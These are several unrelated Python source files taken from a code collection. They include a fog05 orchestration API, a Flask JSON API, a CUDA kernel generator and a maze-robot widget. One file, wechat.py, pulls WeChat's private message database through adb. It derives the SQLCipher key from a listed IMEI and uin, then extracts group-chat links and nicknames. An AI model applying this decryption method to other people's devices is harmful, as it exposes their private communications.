entity_uuid: entity for which you want to clean an instance\n :param node_uuid: destionation node\n :param instance_uuid: instance you want to clean\n :param wait: optional wait before returning\n :return: boolean\n '''\n handler = yield from self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}'.format(self.store.aroot, node_uuid, handler, entity_uuid, instance_uuid)\n res = self.store.desired.remove(uri)\n # if res >= 0:\n # return True\n # else:\n # return False\n return True\n\n def run(self, entity_uuid, node_uuid, instance_uuid, wait=False):\n '''\n\n Starting and atomic entity instance\n\n :param entity_uuid: entity for which you want to run the instance\n :param node_uuid: destination node\n :param instance_uuid: instance you want to start\n :param wait: optional wait before returning\n :return: boolean\n '''\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}#status=run'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n res = self.store.desired.dput(uri)\n # print('RES is {}'.format(res))\n if res >= 0:\n if wait:\n state = \"run\"\n while True:\n time.sleep(1)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}'.format(self.store.aroot, node_uuid, handler, entity_uuid, instance_uuid)\n data = self.store.actual.get(uri)\n if data is not None:\n entity_info = json.loads(data)\n if entity_info is not None:\n if entity_info.get('status') == state:\n break\n elif entity_info.get('status') != \"starting\":\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}#status=run'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n self.store.desired.dput(uri)\n return True\n else:\n return False\n\n def stop(self, entity_uuid, node_uuid, instance_uuid, wait=False):\n '''\n\n Shutting down an atomic entity instance\n\n :param entity_uuid: entity for which you want to shutdown the instance\n :param node_uuid: destination node\n :param instance_uuid: instance you want to shutdown\n :param wait: optional wait before returning\n :return: boolean\n '''\n\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}#status=stop'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n res = self.store.desired.dput(uri)\n if res >= 0:\n if wait:\n self.__wait_atomic_entity_instance_state_change(node_uuid, handler, entity_uuid, instance_uuid, 'stop')\n return True\n else:\n return False\n\n def pause(self, entity_uuid, node_uuid, instance_uuid, wait=False):\n '''\n\n Pause the exectution of an atomic entity instance\n\n :param entity_uuid: entity for which you want to pause the instance\n :param node_uuid: destination node\n :param instance_uuid: instance you want to pause\n :param wait: optional wait before returning\n :return: boolean\n '''\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}#status=pause'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n res = self.store.desired.dput(uri)\n if res >= 0:\n if wait:\n self.__wait_atomic_entity_instance_state_change(node_uuid, handler, entity_uuid, instance_uuid, 'pause')\n return True\n else:\n return False\n\n def resume(self, entity_uuid, node_uuid, instance_uuid, wait=False):\n '''\n\n resume the exectution of an atomic entity instance\n\n :param entity_uuid: entity for which you want to resume the instance\n :param node_uuid: destination node\n :param instance_uuid: instance you want to resume\n :param wait: optional wait before returning\n :return: boolean\n '''\n\n\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}#status=resume'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n res = self.store.desired.dput(uri)\n if res >= 0:\n if wait:\n self.__wait_atomic_entity_instance_state_change(node_uuid, handler, entity_uuid, instance_uuid, 'run')\n return True\n else:\n return False\n\n def migrate(self, entity_uuid, instance_uuid, node_uuid, destination_node_uuid, wait=False):\n '''\n\n Live migrate an atomic entity instance between two nodes\n\n The migration is issued when this command is sended, there is a little overhead for the copy of the base image and the disk image\n\n\n :param entity_uuid: ntity for which you want to migrate the instance\n :param instance_uuid: instance you want to migrate\n :param node_uuid: source node for the instance\n :param destination_node_uuid: destination node for the instance\n :param wait: optional wait before returning\n :return: boolean\n '''\n\n\n handler = self.__get_entity_handler_by_uuid(node_uuid, entity_uuid)\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}'.format(self.store.aroot, node_uuid, handler, entity_uuid, instance_uuid)\n\n entity_info = self.store.actual.get(uri)\n if entity_info is None:\n return False\n\n entity_info = json.loads(entity_info)\n\n entity_info_src = entity_info.copy()\n entity_info_dst = entity_info.copy()\n\n entity_info_src.update({\"status\": \"taking_off\"})\n entity_info_src.update({\"dst\": destination_node_uuid})\n\n entity_info_dst.update({\"status\": \"landing\"})\n entity_info_dst.update({\"dst\": destination_node_uuid})\n\n destination_handler = self.__get_entity_handler_by_type(destination_node_uuid, entity_info_dst.get('type'))\n if destination_handler is None:\n return False\n\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}'.format(self.store.droot, destination_node_uuid, destination_handler.get('uuid'), entity_uuid, instance_uuid)\n\n res = self.store.desired.put(uri, json.dumps(entity_info_dst))\n if res >= 0:\n uri = '{}/{}/runtime/{}/entity/{}/instance/{}'.format(self.store.droot, node_uuid, handler, entity_uuid, instance_uuid)\n res_dest = yield from self.store.desired.dput(uri, json.dumps(entity_info_src))\n if res_dest:\n if wait:\n self.__wait_atomic_entity_instance_state_change(destination_node_uuid, destination_handler.get('uuid'), entity_uuid, instance_uuid, 'run')\n return True\n else:\n print(\"Error on destination node\")\n return False\n else:\n print(\"Error on source node\")\n return False\n\n def search(self, search_dict, node_uuid=None):\n pass\n\n def list(self, node_uuid=None):\n '''\n\n List all entity element available in the system/teneant or in a specified node\n\n :param node_uuid: optional node uuid\n :return: dictionary {node uuid: {entity uuid: instance list} list}\n '''\n\n if node_uuid is not None:\n entity_list = {}\n uri = '{}/{}/runtime/*/entity/*'.format(self.store.aroot, node_uuid)\n response = self.store.actual.resolveAll(uri)\n for i in response:\n rid = i[0]\n en_uuid = rid.split('/')[7]\n if en_uuid not in entity_list:\n entity_list.update({en_uuid:[]})\n if len(rid.split('/')) == 8 and en_uuid in entity_list:\n pass\n if len(rid.split('/')) == 10:\n entity_list.get(en_uuid).append(rid.split('/')[9])\n\n return {node_uuid: entity_list}\n\n entities = {}\n uri = '{}/*/runtime/*/entity/*'.format(self.store.aroot)\n response = self.store.actual.resolveAll(uri)\n for i in response:\n node_id = i[0].split('/')[3]\n elist = self.list(node_id)\n entities.update({node_id: elist.get(node_id)})\n return entities\n\n\n class Image(object):\n '''\n\n This class encapsulates the action on images\n\n\n '''\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def add(self, manifest, node_uuid=None):\n '''\n\n Adding an image to a node or to all nodes\n\n :param manifest: dictionary representing the manifest for the image\n :param node_uuid: optional node in which add the image\n :return: boolean\n '''\n manifest.update({'status': 'add'})\n json_data = json.dumps(manifest)\n if node_uuid is None:\n uri = '{}/*/runtime/*/image/{}'.format(self.store.droot, manifest.get('uuid'))\n else:\n uri = '{}/{}/runtime/*/image/{}'.format(self.store.droot, node_uuid, manifest.get('uuid'))\n res = self.store.desired.put(uri, json_data)\n if res:\n return True\n else:\n return False\n\n def remove(self, image_uuid, node_uuid=None):\n '''\n\n remove an image for a node or all nodes\n\n :param image_uuid: image you want to remove\n :param node_uuid: optional node from which remove the image\n :return: boolean\n '''\n\n if node_uuid is None:\n uri = '{}/*/runtime/*/image/{}'.format(self.store.droot, image_uuid)\n else:\n uri = '{}/{}/runtime/*/image/{}'.format(self.store.droot, node_uuid, image_uuid)\n res = self.store.desired.remove(uri)\n if res:\n return True\n else:\n return False\n\n def search(self, search_dict, node_uuid=None):\n pass\n\n class Flavor(object):\n '''\n This class encapsulates the action on flavors\n\n '''\n def __init__(self, store=None):\n if store is None:\n raise RuntimeError('store cannot be none in API!')\n self.store = store\n\n def add(self, manifest, node_uuid=None):\n '''\n\n Add a computing flavor to a node or all nodes\n\n :param manifest: dictionary representing the manifest for the flavor\n :param node_uuid: optional node in which add the flavor\n :return: boolean\n '''\n manifest.update({'status': 'add'})\n json_data = json.dumps(manifest)\n if node_uuid is None:\n uri = '{}/*/runtime/*/flavor/{}'.format(self.store.droot, manifest.get('uuid'))\n else:\n uri = '{}/{}/runtime/*/flavor/{}'.format(self.store.droot, node_uuid, manifest.get('uuid'))\n res = self.store.desired.put(uri, json_data)\n if res:\n return True\n else:\n return False\n\n def remove(self, flavor_uuid, node_uuid=None):\n '''\n\n Remove a flavor from all nodes or a specified node\n\n :param flavor_uuid: flavor to remove\n :param node_uuid: optional node from which remove the flavor\n :return: boolean\n '''\n if node_uuid is None:\n uri = '{}/*/runtime/*/flavor/{}'.format(self.store.droot, flavor_uuid)\n else:\n uri = '{}/{}/runtime/*/flavor/{}'.format(self.store.droot, node_uuid, flavor_uuid)\n res = self.store.desired.remove(uri)\n if res:\n return True\n else:\n return False\n\n def search(self, search_dict, node_uuid=None):\n pass\n\n '''\n Methods\n \n - manifest\n -check\n - node\n - list\n - info\n - plugins\n - search\n - plugin\n - add\n - remove\n - info\n - list\n - search\n - network\n - add\n - remove\n - list\n - search\n - entity\n - add\n - remove\n - define\n - undefine\n - configure\n - clean\n - run\n - stop\n - pause\n - resume\n - migrate\n - search\n - list\n - images\n - add\n - remove \n - search\n - list\n - flavor\n - list\n - add\n - remove\n - search\n\n \n '''\n","sub_path":"fog05/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":41038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"186804966","text":"# nox_adb pull\n# /data/data/com.tencent.mm/MicroMsg/87c8969adadf852b441173a366e2be9e/EnMicroMsg.db\n# D:\\Files\\Wechat\n\n# _auth_uin: -658348984\n# IMEI: 866174010501548\n# md5: 9c22ae0bf93a298f8650534459d6ebf3[:7]\n\n\nimport datetime as dt\nimport json\nimport re\nimport sys\n\nfrom pysqlcipher3 import dbapi2 as sqlite\n\npara = [i for i in sys.argv]\n\nDB_PATH = para[1] if len(para) > 1 else 'EnMicroMsg.db'\npwd = '9c22ae0'\nsql = '''\nselect m.createTime, m.content, c.nickname \n from message as m, rcontact as c \n where m.type=49 \n and m.talker in (select chatroomname from chatroom) \n and m.msgId in (select msgId from AppMessage where type=5) \n and m.talkerId=c.rowid;\n'''\n\nconn = sqlite.connect(DB_PATH)\ncurs = conn.cursor()\ncurs.execute(\"PRAGMA key='\" + pwd + \"';\")\ncurs.execute(\"PRAGMA kdf_iter = '4000';\")\ncurs.execute(\"PRAGMA cipher_use_hmac = OFF;\")\ncurs.execute(sql)\n# ret = curs.fetchall()\nret = []\nfor row in curs:\n ret.append({\n \"date\": dt.datetime.fromtimestamp(int(row[0] / 1000)).strftime(\"%Y-%m-%d %H:%M:%S\"),\n # 正则表达式+*后加?表示非贪婪\n \"title\": re.findall('([\\s\\S]*?)<\\/title>', row[1])[0],\n \"url\": re.findall('<url>([\\s\\S]*?)<\\/url>', row[1])[0],\n \"group\": row[2]\n })\n # break\n\n\nconn.close()\n\n# print(ret)\nprint(json.dumps(ret))\n","sub_path":"code/python/wechat.py","file_name":"wechat.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"186178188","text":"from threading import Thread\nimport GetData as gd\nimport ICP as icp\nimport VisualPoint as vp\n\npoint_cloud = []\ntransfomred = []\n\n# construct the object \nget_data = gd.GetData()\nicp = icp.ICP() \nvisual_point = vp.VisualPoint()\n\ndef save_data():\n global point_cloud, get_data\n point_cloud = get_data.point\n print(point_cloud)\n\ndef run_icp():\n global point_cloud, transfomred, icp\n transfomred = icp.icp_algorithm(point_cloud)\n\ndef render_addpoint():\n global transfomred, visual_point\n visual_point.add_view(transfomred)\n\n\n#visual_point.render()\nwhile True:\n th1 = Thread(target = get_data.capture, args = ())\n th2 = Thread(target = save_data, args = ())\n th3 = Thread(target = run_icp, args = (icp))\n th4 = Thread(target = render_addpoint, args = (visual_point))\n th5 = Thread(target = visual_point.render, args = ())\n th1.start()\n th2.start()\n th3.start()\n th4.start()\n th5.start()\n th1.join()\n th2.join()\n th3.join()\n th4.join()\n th5.join()","sub_path":"ICP_realtime/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"504294166","text":"from flask import Flask, request\nfrom flask.json import dumps\nfrom flask.globals import current_app\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine, desc\nimport model\nimport math\n\nMIME_TYPE = 'application/vnd.api+json'\nmodels = {}\nSession = None\n\ndef response(status, *args, **kwargs):\n return current_app.response_class(dumps(dict(*args, **kwargs), indent=None if request.is_xhr else 2), status=status, mimetype=MIME_TYPE)\n\ndef accessDeniedResponse(method, resource):\n return response(403, {\"error\":\"access denied\"})\n\ndef resultResponse(*args, **kwargs):\n return response(200, *args, **kwargs)\n\nparam_names = set(['include', 'page', 'per_page', 'sort', 'fields'])\n\napp = Flask(__name__)\n\n# GET queries\n@app.route('/<path:path>', methods=['GET', 'DELETE'])\ndef handle(path):\n \"\"\"Handle resources requested as per JSONAPI\n \"\"\"\n filters = {k:v for k,v in request.args.items() if k not in param_names}\n resources = path.split('/')\n if request.method == 'GET':\n # custom pagination implementation\n per_page = int(request.args.get('per_page', '100'))\n page = int(request.args.get('page', '1'))\n includes = [] if 'include' not in request.args else request.args['include'].split(',')\n sorts = [] if 'sort' not in request.args else request.args['sort'].split(',')\n fields = [] if 'fields' not in request.args else request.args['fields'].split(',')\n\n # resources\n session = Session()\n name = resources.pop(0)\n cls = models.get(name)\n if not cls:\n return accessDeniedResponse(request.method, name)\n query = session.query(cls)\n if resources:\n # specific id(s)\n ids = resources.pop(0).split(',')\n query = query.filter(cls.id.in_(ids))\n if resources:\n if resources.pop(0) == \"links\":\n links_name = resources.pop(0)\n cls = getattr(cls, links_name).property.argument.class_\n if not cls:\n return accessDeniedResponse(request.method, links_name)\n query = session.query(cls).join(query.subquery())\n\n # add filter\n if filters:\n query = query.filter(*[getattr(cls, k) == v for k,v in filters.items()])\n\n # pagination?\n if request.method == 'GET':\n total = query.count()\n meta = {'total': total, 'pages': math.ceil(total / per_page)}\n\n # sort\n if sorts:\n query = query.order_by(*[desc(sort[1:]) if sort.startswith('-') else sort for sort in sorts])\n\n # run query\n start = (page - 1) * per_page\n stop = page * per_page\n query = query.slice(start, stop)\n\n # run query\n resources = query.all()\n for resource in resources:\n if not resource.allow(request.method):\n return accessDeniedResponse(request.method, resource)\n\n if request.method == 'GET':\n # linked resources\n linked = {}\n for include in includes:\n include_cls = getattr(cls, include).property.argument\n include_query = session.query(include_cls).join(query.subquery())\n include_resources = include_query.all()\n\n # security check\n for resource in include_resources:\n if not resource.allow(request.method):\n return accessDeniedResponse(request.method, resource)\n linked[include] = [resource.to_dict() for resource in include_resources]\n\n # respond\n resources = [resource.to_dict() for resource in resources]\n if len(resources) == 1:\n resources = resources[0]\n result = {cls.__name__: resources, 'linked': linked, 'meta': meta}\n elif request.method == 'DELETE':\n query.delete()\n result = {}\n session.commit()\n return resultResponse(**result)\n\n\n# POST inserts\n@app.route('/<name>', methods=['POST'])\ndef post(name):\n cls = models.get(name)\n values = request.get_json(force=True)[name]\n resources = [cls.from_dict(value) for value in values]\n\n # security check\n for resource in resources:\n if not resource.allow(request.method):\n return accessDeniedResponse(request.method, resource)\n\n session = Session()\n session.insert(cls, values=values)\n session.commit()\n\n\ndef prep(dbpath):\n # prep database\n engine = create_engine(dbpath)\n model.Model.prepare(engine, reflect=True, name_for_collection_relationship=lambda base, local_cls, referred_cls, constraint: referred_cls.__name__.lower())\n global Session\n Session = sessionmaker(bind=engine)\n global models\n models = {model.__name__:model for model in model.Model.__subclasses__()}\n\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"344625571","text":"import subprocess\nimport codecs\nimport math\nimport os,sys\nfrom pathlib import Path\nfrom tqdm import tqdm\ntry:\n CUDA_PREFIX = os.environ['CUDA_PREFIX']\nexcept:\n print('No CUDA_PREFIX set, set it to /usr/local/cuda/')\n CUDA_PREFIX=\"/usr/local/cuda/\"\ndef build_switch(H,W):\n R = 3\n S = 3\n Ho = H - (R-1)\n Wo = W - (S-1)\n template = '\\t\\tcase {}:\\n\\t\\t\\t#pragma unroll\\n\\t\\t\\tfor ( int r = {}; r < {}; r++) {{\\n\\t\\t\\t\\t#pragma unroll\\n\\t\\t\\t\\tfor ( int s = {}; s < {}; s++) {{' \\\n '\\n\\t\\t\\t\\t\\tfloat result = v * temp_kernel[r*S+s];\\n\\t\\t\\t\\t\\ttemp_result[({}-r)*{}+({}-s)] += result;\\n\\t\\t\\t\\t}}\\n\\t\\t\\t}}\\n\\t\\tbreak;\\n'\n line = '__device__ void switch_function( unsigned int switch_condition,float *temp_kernel,float v,float *temp_result){\\n' \\\n '\\tswitch (switch_condition) {\\n'\n for h in range(H):\n for w in range(W):\n r_end = R\n s_end = S\n id = h*W+w\n r_start_condition = (h - Ho + 1)\n r_end_condition = (h+1)\n s_start_condition = (w - Wo + 1)\n s_end_condition = (w+1)\n r_end = min(r_end,r_end_condition)\n r_start = max(0,r_start_condition)\n s_end = min(s_end,s_end_condition)\n s_start = max(0,s_start_condition)\n case_line = template.format(id,r_start,r_end,s_start,s_end,h,(Wo),w)\n line +=case_line\n line += '\\n\\t}'\n line += '\\n}'\n return line\ndef generate_code(N,C,H,W,TC,TH,TW):\n func_reader = codecs.open('template.cu','r','utf-8')\n switch_func_lines = build_switch(TH+2,TW+2)\n func_lines = func_reader.readlines()\n content = ''\n for line in func_lines:\n content += line\n content = content.replace('#define TH place holder', '#define TH {}'.format(TH))\n content = content.replace('#define TW place holder', '#define TW {}'.format(TW))\n content = content.replace('#define TC place holder', '#define TC {}'.format(TC))\n content = content.replace('#define H place holder', '#define H {}'.format(H))\n content = content.replace('#define W place holder', '#define W {}'.format(W))\n content = content.replace('#define C place holder', '#define C {}'.format(C))\n content = content.replace('#define N place holder', '#define N {}'.format(N))\n #switch_function_place_holder\n content = content.replace('switch_function_place_holder', switch_func_lines)\n writter = codecs.open('temp.cu','w','utf-8')\n writter.write(content)\n writter.close()\n\nif __name__ == '__main__':\n shape_list = [(64,32,224,224),\n (64,32,112,112),\n (32,32,56,56),\n (64,32,56,56),\n (64,64,56,56),\n (32,32,28,28),\n (64,32,28,28),\n (96,64,28,28),\n (160,96,28,28),\n (192,96,28,28),\n (32,32,14,14),\n (64,32,14,14),\n (128,96,14,14),\n (192,96,14,14),\n (32,32,7,7),\n (64,32,7,7),\n (96,64,7,7),\n (192,160,7,7)]\n ths = [1,2,3,4,5,6,7,8,9,10,11,12]\n tws = [1,2,3,4,5,6,7,8,9,10,11,12]\n tcs = [1,2,4,8,16,32]\n for shape in shape_list:\n c = shape[0]\n n = shape[1]\n h = shape[2]\n w = shape[3]\n blk_dim = ((n - 1)//32 + 1) * 32\n for th in ths:\n if th >= h:\n continue\n for tw in tws:\n if tw>= h:\n continue\n for tc in tcs:\n if tc>=c:\n continue\n generate_code(n,c,h,w,tc,th,tw)\n exc_file = './conv'\n subprocess.run(\n [\"nvcc\", \"-std=c++11\", \"-O3\", \"-I\", CUDA_PREFIX + \"include\", \"-L\",\n CUDA_PREFIX + \"lib64\", \"-L\", CUDA_PREFIX + \"lib\", 'temp.cu', \"-o\",\n exc_file, \"-lcudnn\", \"-Xcompiler\", \"-fopenmp\" ])\n subprocess.run([exc_file])","sub_path":"A100-evaluation/Gen-occupancy/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":4068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207016994","text":"import ipywidgets as widgets\nfrom traitlets import Unicode, Bool, validate, TraitError, Int, List, Dict, Float\nimport asyncio\nimport re as _re\nimport os\nimport time as _time\nimport copy\nfrom datetime import datetime\nimport json\n\n\ndef pause(delay = 1.0):\n \"\"\"Pause for delay seconds.\"\"\"\n _time.sleep(delay)\n\n_directions = [ (0, 1), (-1, 0), (0, -1), (1, 0) ]\n_orient_dict = { 'E': 3, 'S': 2, 'W': 1, 'N': 0}\n\n\nclass _Beeper(object):\n \"\"\"One ore more beepers at a crossing in the world.\"\"\"\n def __init__(self, world, radius, av, st, num = 1):\n self.av = av\n self.st = st\n self.num = num\n self.world = world\n\n def set_number(self, num):\n self.num = num\n # self.world.update_beeper(self)\n\n\nclass Robot(object):\n def init(self, world, avenue = 1, street = 1, orientation = 'E', beepers = 0, index = 0):\n self._dir = _orient_dict[orientation]\n self._x = avenue\n self._y = street\n self._beeper_bag = beepers\n self._flag_bag = 0\n self._trace = True\n self._delay = 0\n self._steps = 0\n self.my_index = index\n self.world = world\n self._update_pos()\n \n def _update_pos(self):\n x, y = self.world.cr2xy(2 * self._x - 1, 2 * self._y - 1)\n self.world.move_to(self.my_index, x,y)\n\n def _trace_pos(self):\n x, y = self.world.cr2xy(2 * self._x - 1, 2 * self._y - 1)\n xr, yr = _directions[(self._dir - 1) % 4]\n xb, yb = _directions[(self._dir - 2) % 4]\n return x + 5 * (xr + xb), y - 5 * (yr + yb)\n \n def _update_trace(self):\n if self._trace:\n x, y = self._trace_pos()\n self.world.add_point(self.my_index, x,y)\n \n def set_trace(self, color = None):\n \"\"\"Without color argument, turn off tracing.\n With color argument, start a new trace in that color.\"\"\"\n if not color:\n if self._trace:\n self.world.remove_trace(self.my_index)\n self._trace = None\n else:\n self._trace = True\n x, y = self._trace_pos()\n self.world.set_trace(self.my_index, x, y, color)\n # self._trace = _g.Path([_g.Point(x, y)])\n # self._trace.setBorderColor(color)\n # _scene.add(self._trace)\n\n def set_pause(self, delay = 0):\n \"\"\"Set a pause to be made after each move.\"\"\"\n self._delay = delay\n self.world.set_pause(self.my_index, delay)\n\n def get_pos(self):\n \"\"\"Returns current robot position.\"\"\"\n return self._x, self._y\n \n def turn_left(self):\n \"\"\"Rotate left by 90 degrees.\"\"\"\n # self._image[self._dir].moveTo(-100, -100)\n self.world.rotate_left(self.my_index)\n self._dir = (self._dir + 1) % 4\n self._update_pos()\n self._update_trace()\n\n def _move(self):\n if self.front_is_clear():\n xx, yy = _directions[self._dir]\n self._x += xx\n self._y += yy\n self._update_pos()\n self._update_trace() \n\n def move(self, step=1):\n \"\"\"Move one street/avenue in direction where robot is facing.\"\"\"\n for x in range(step):\n self._move()\n\n\n \n\n def front_is_clear(self):\n \"\"\"Returns True if no wall or border in front of robot.\"\"\"\n col = 2 * self._x - 1\n row = 2 * self._y - 1\n xx, yy = _directions[self._dir]\n return self.world.is_clear(col + xx, row + yy)\n\n def left_is_clear(self):\n \"\"\"Returns True if no walls or borders are to the immediate left\n of the robot.\"\"\"\n col = 2 * self._x - 1\n row = 2 * self._y - 1\n xx, yy = _directions[(self._dir + 1) % 4]\n return self.world.is_clear(col + xx, row + yy)\n\n def right_is_clear(self):\n \"\"\"Returns True if no walls or borders are to the immediate right\n of the robot.\"\"\"\n col = 2 * self._x - 1\n row = 2 * self._y - 1\n xx, yy = _directions[(self._dir - 1) % 4]\n return self.world.is_clear(col + xx, row + yy)\n\n def facing_north(self):\n \"\"\"Returns True if Robot is facing north.\"\"\"\n return (self._dir == 0)\n\n def carries_beepers(self):\n \"\"\"Returns True if some beepers are left in Robot's bag.\"\"\"\n return (self._beeper_bag > 0)\n \n def on_beeper(self):\n \"\"\"Returns True if beepers are present at current robot position.\"\"\"\n return ((self._x, self._y) in self.world.beepers)\n \n def on_flag(self):\n return ((self._x, self._y) in self.world.flags)\n\n def pick_beeper(self):\n \"\"\"Robot picks one beeper up at current location.\"\"\"\n if self.on_beeper():\n self.world.remove_beeper(self._x, self._y)\n self._beeper_bag += 1\n \n def pick_flag(self):\n if self.on_flag():\n self.world.remove_flag(self._x, self._y)\n self._flag_bag +=1\n\n def drop_flag(self):\n if self.carries_flags():\n self._flag_bag -= 1\n self.world.add_flag(self._x, self._y)\n \n def flags_count(self):\n return self._flag_bag\n \n def carries_flags(self):\n return (self._flag_bag > 0)\n\n def drop_beeper(self):\n \"\"\"Robot drops one beeper down at current location.\"\"\"\n if self.carries_beepers():\n self._beeper_bag -= 1\n self.world.add_beeper(self._x, self._y)\n\ndef _check_world(contents):\n # safety check\n safe = contents[:]\n # only allow known keywords\n keywords = [\"avenues\", \"streets\", \"walls\", \"beepers\", \"robot\",\"flags\",\n \"'s'\", \"'S'\", '\"s\"', '\"S\"',\n \"'e'\", \"'E'\", '\"e\"', '\"E\"',\n \"'w'\", \"'W'\", '\"w\"', '\"W\"',\n \"'n'\", \"'N'\", '\"n\"', '\"N\"', ]\n for word in keywords:\n safe = safe.replace(word, '')\n safe = list(safe)\n for char in safe:\n if char.isalpha():\n raise ValueError(\"Invalid word or character in world file\")\n\n\ndef load_world(filename):\n txt = open(filename, 'r').read()\n txt = _re.sub('\\r\\n', '\\n', str(txt))\n txt = _re.sub('\\r', '\\n', str(txt))\n _check_world(txt)\n try:\n robot = None\n wd = locals()\n exec(txt, globals(), wd)\n\n w = Maze(\n avenues= wd[\"avenues\"], \n walls= wd[\"walls\"], \n beepers= wd.get(\"beepers\", {}), \n streets= wd[\"streets\"],\n robot=wd[\"robot\"],\n flags=wd.get(\"flags\", []))\n return w\n except:\n raise ValueError(\"Error interpreting world file.\")\n\n\n@widgets.register\nclass Maze(widgets.DOMWidget):\n\n # Name of the widget view class in front-end\n _view_name = Unicode('MazeView').tag(sync=True)\n # Name of the widget model class in front-end\n _model_name = Unicode('MazeModel').tag(sync=True)\n _view_module = Unicode('ttgtcanvas').tag(sync=True)\n\n # Name of the front-end module containing widget model\n _model_module = Unicode('ttgtcanvas').tag(sync=True)\n\n _view_module_version = Unicode('^0.3.0').tag(sync=True)\n # Version of the front-end module containing widget model\n _model_module_version = Unicode('^0.3.0').tag(sync=True)\n\n current_call = Unicode('{}').tag(sync=True)\n method_return = Unicode('{}').tag(sync=True)\n\n\n def js_call(self, method_name, params): \n # print(\"calling method: \" + method_name)\n cb = datetime.now().strftime('%f')\n self.current_call = json.dumps({'method_name': method_name, 'params': params, 'cb': cb})\n\n \n def __init__(self, **kwargs):\n super(Maze, self).__init__(**kwargs)\n options = {\"avenues\": 10, \"streets\": 10, \"beepers\": {}, \"walls\": [], \"robot\": (8, 1, 'E', 0), \"flags\": []}\n options.update(kwargs)\n\n self._beepers = options[\"beepers\"]\n self._flags = options[\"flags\"]\n self.av = options[\"avenues\"]\n self.st = options[\"streets\"]\n self.robot = options[\"robot\"] \n self.width = self.av * 50\n self.height = self.st * 50\n self.num_cols = 2*self.av + 1\n self.num_rows = 2*self.st + 1\n self.walls = options[\"walls\"]\n self._bot = None\n for (col, row) in self.walls:\n if not (col+row) % 2:\n raise RuntimeError(\"Wall in impossible position (%d, %d).\" % (col,row))\n self.borders = []\n self.set_borders()\n \n display(self)\n _time.sleep(1)\n\n self.init()\n\n def set_borders(self):\n \"\"\"The world is surrounded by a continuous wall. This function\n sets the corresponding \"wall\" or \"border\" based on the world's\n dimensions.\"\"\"\n for col in range(1, self.num_cols-1, 2):\n if (col, 0) not in self.borders:\n self.borders.append( (col, 0) )\n if (col, self.num_rows) not in self.borders:\n self.borders.append( (col, self.num_rows-1) )\n for row in range(1, self.num_rows-1, 2):\n if (0, row) not in self.borders:\n self.borders.append( (0, row) )\n if (self.num_cols, row) not in self.borders:\n self.borders.append( (self.num_cols-1, row) )\n \n def cr2xy(self, col, row):\n x = self.left + self.ts * col\n y = self.bottom - self.ts * row\n return x, y\n \n def toggle_wall(self, col, row):\n \"\"\"This function is intended for adding or removing a\n wall from a GUI world editor.\"\"\"\n if (col+row) % 2 : # safety check\n if (col, row) in self.walls: # toggle value\n self.walls.remove((col, row))\n else:\n self.walls.append((col, row))\n else:\n raise RuntimeError(\"Wall in impossible position (%d, %d).\" % (col,row))\n\n def is_clear(self, col, row):\n \"\"\"Returns True if there is no wall or border here.\"\"\"\n return not ((col, row) in self.walls or (col, row) in self.borders)\n \n def _create_beeper(self, av, st):\n num = self.beepers[(av, st)]\n bp = _Beeper(self, 0.6 * self.ts, av, st, num)\n self.beeper_icons[(av, st)] = bp\n return bp\n \n\n\n def init(self, src='./robot-design.svg'):\n self.beepers = self._beepers.copy()\n self.flags = self._flags.copy()\n self.total_flags = self.flags_count()\n self.total_beepers = self.beepers_count()\n self.beeper_icons = {}\n tsx = self.width / (self.num_cols + 2)\n tsy = self.height / (self.num_rows + 2)\n self.ts = min(tsx, tsy)\n self.left = 2 * self.ts\n self.right = self.left + 2 * self.ts * self.av\n self.bottom = self.height - 2 * self.ts\n self.top = self.bottom - 2 * self.ts * self.st\n\n\n #UI Add layer\n ##Add Beepers\n _beepers = []\n for (av, st) in self.beepers:\n _beeper = self._create_beeper(av, st)\n _beepers.append({'key':[av, st], 'value': _beeper.num})\n \n self.js_call('draw_grid', [self.width, self.height, self.av, self.st, self.ts, self.walls, _beepers, self.flags, self.robot])\n\n self.init_robot(src)\n # add_robot\n return self\n\n def move_to(self, rindex , x, y):\n self.js_call('move_to', [rindex, x,y])\n _time.sleep(0.1)\n if self._bot.on_flag():\n self._bot.pick_flag()\n\n def add_point(self, rindex , x, y):\n self.js_call('add_point', [rindex, x,y])\n \n ##init robot\n def init_robot(self, src):\n avenue, street, orientation, beepers = self.robot\n self.js_call('add_robot', [0, src, avenue, street,orientation, beepers])\n self._bot = self._bot or Robot()\n self._bot.init(self, avenue, street, orientation, beepers, 0)\n self.js_call('init_robot', [0])\n self._bot._update_pos()\n return self._bot\n\n def bot(self):\n return self._bot\n\n def remove_trace(self, rindex):\n 